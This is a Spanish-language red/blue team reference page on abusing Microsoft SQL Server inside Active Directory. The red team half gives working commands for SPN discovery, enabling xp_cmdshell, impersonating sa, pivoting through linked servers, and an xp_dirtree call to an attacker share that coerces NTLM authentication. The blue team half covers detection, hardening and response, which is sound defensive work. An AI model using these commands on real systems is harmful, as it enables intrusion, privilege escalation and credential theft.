Ataques a MSSQL en AD

Microsoft SQL Server está integrado en Active Directory: usa autenticación de dominio, corre bajo cuentas de servicio (a menudo con privilegios jugosos), y sus servidores se enlazan entre sí con linked servers que confían unos en otros. Para un atacante, un MSSQL es tres cosas a la vez: una vía de ejecución de comandos en el host (via xp_cmdshell), una fuente de credenciales/impersonación (cuentas de servicio, EXECUTE AS), y un puente de movimiento lateral a través de enlaces entre servidores. Muchos caminos a DA pasan por un SQL Server mal configurado.

Modelo de amenaza

El error raíz es la confianza: cuentas de dominio con login en SQL, cuentas de servicio SQL con privilegios de impersonación en el host, y linked servers configurados con credenciales de alto privilegio que permiten “saltar” de un SQL a otro ejecutando queries en cadena. Un login de bajo privilegio puede, encadenando impersonación y enlaces, acabar como sa o como SYSTEM en otro servidor.

Red Team

Descubrimiento

# localizar SPNs de SQL en el dominio (MSSQLSvc/...)
GetUserSPNs.py dominio/user:pass -dc-ip <DC> | grep MSSQL
setspn -T dominio -Q MSSQLSvc/*
# probar acceso con credenciales de dominio
nxc mssql <host> -u user -p pass

Conexión y enumeración (mssqlclient)

mssqlclient.py dominio/user:pass@<host> -windows-auth
# dentro:
SELECT system_user;           -- quién soy
SELECT is_srvrolemember('sysadmin');   -- ¿soy sa?
enum_links                    -- linked servers configurados
enum_impersonate              -- a quién puedo EXECUTE AS

Ejecución de comandos (xp_cmdshell)

Si eres sysadmin (o puedes serlo por impersonación), habilitas y usas xp_cmdshell:

EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';     -- ejecuta como la cuenta de servicio SQL

La cuenta de servicio SQL suele tener SeImpersonatePrivilege → de ahí a SYSTEM con Potato (ver Abuso de privilegios y tokens). Alternativas sin xp_cmdshell: sp_OACreate (OLE automation), CLR assemblies, xp_dirtree para coerción.

Escalada por impersonación y roles

EXECUTE AS LOGIN = 'sa';       -- si tienes IMPERSONATE sobre sa
-- cadena: usuario -> impersona dbo -> impersona sa -> sysadmin

Permisos mal dados (IMPERSONATE, CONTROL SERVER, membresía en roles) escalan de login normal a sysadmin.

Movimiento lateral por linked servers

Un linked server configurado con credenciales privilegiadas permite ejecutar en el SQL remoto:

EXEC ('SELECT system_user; EXEC xp_cmdshell ''whoami''') AT [LINKED-SQL];
-- enlaces encadenables: SQL1 -> SQL2 -> SQL3, escalando en cada salto

Coerción de hash (xp_dirtree / xp_subdirs)

EXEC xp_dirtree '\\attacker\share';   -- fuerza a la cuenta de servicio a autenticar

→ capturas/relayeas el Net-NTLM de la cuenta de servicio SQL (ver LLMNR / NBT-NS / mDNS Poisoning/NTLM Relay).

Herramientas

impacket mssqlclient.py — cliente con comandos de enum/impersonate/links integrados.
NetExec (nxc) mssql — spray, ejecución, --local-auth, consultas.
PowerUpSQL — descubrimiento, auditoría y explotación de SQL en AD (Windows).
mssqlpwner — automatiza cadenas de impersonación y linked servers.

Impacto

Ejecución de comandos en el host SQL (→ SYSTEM vía SeImpersonate), robo de credenciales de la cuenta de servicio, movimiento lateral por enlaces a otros SQL, y coerción de hash hacia relay. Un SQL comprometido es a menudo el trampolín directo hacia el resto del dominio.

Blue Team

Detección

Habilitación de xp_cmdshell (sp_configure) y ejecución de comandos desde SQL → sqlservr.exe lanzando cmd.exe/powershell.exe (Sysmon 1).
Uso de xp_dirtree/xp_subdirs hacia rutas UNC externas (coerción).
EXECUTE AS anómalo, queries AT [linked] inesperadas, logins de dominio no habituales.

Telemetría

Auditoría de SQL Server (login auditing, xp_cmdshell events), Sysmon en el host SQL (procesos hijos de sqlservr.exe), y detección de autenticaciones salientes de la cuenta de servicio.

Hardening

Deshabilita xp_cmdshell, sp_OACreate y OLE automation; restringe CLR.
Mínimo privilegio en la cuenta de servicio SQL: quítale SeImpersonate si no hace falta; usa gMSA.
Revisa linked servers: no los configures con credenciales privilegiadas; usa el contexto del usuario, no sa.
Audita permisos IMPERSONATE/CONTROL SERVER; no metas cuentas de dominio en sysadmin sin necesidad.
Contraseña fuerte/aleatoria para la cuenta de servicio (Kerberoasting), firma SMB (coerción→relay).

Respuesta

Deshabilita xp_cmdshell, rota la contraseña de la cuenta de servicio SQL, revisa linked servers y permisos, y busca ejecución/persistencia dejada desde SQL (jobs, CLR, triggers).

CVEs y casos reales

La mayoría son abusos de configuración, no CVEs (MITRE T1505, T1210, T1078).
PowerUpSQL (Scott Sutherland/NetSPI) documentó extensamente las cadenas de impersonación y linked servers.
Cadenas SQL→SYSTEM→dominio aparecen habitualmente en informes de pentest interno y en intrusiones donde el SQL era el servicio más accesible.

Checklist de prueba

Localizar SQL por SPN (MSSQLSvc) y probar acceso con creds de dominio
¿Soy sysadmin? ¿puedo serlo por impersonación? (enum_impersonate)
xp_cmdshell habilitable → ejecución como cuenta de servicio
¿La cuenta de servicio tiene SeImpersonate? → SYSTEM (Potato)
Linked servers encadenables (enum_links) → lateral
xp_dirtree para coerción → captura/relay de Net-NTLM
Kerberoasting de la cuenta de servicio SQL
Blue: ¿xp_cmdshell deshabilitado y gMSA en uso?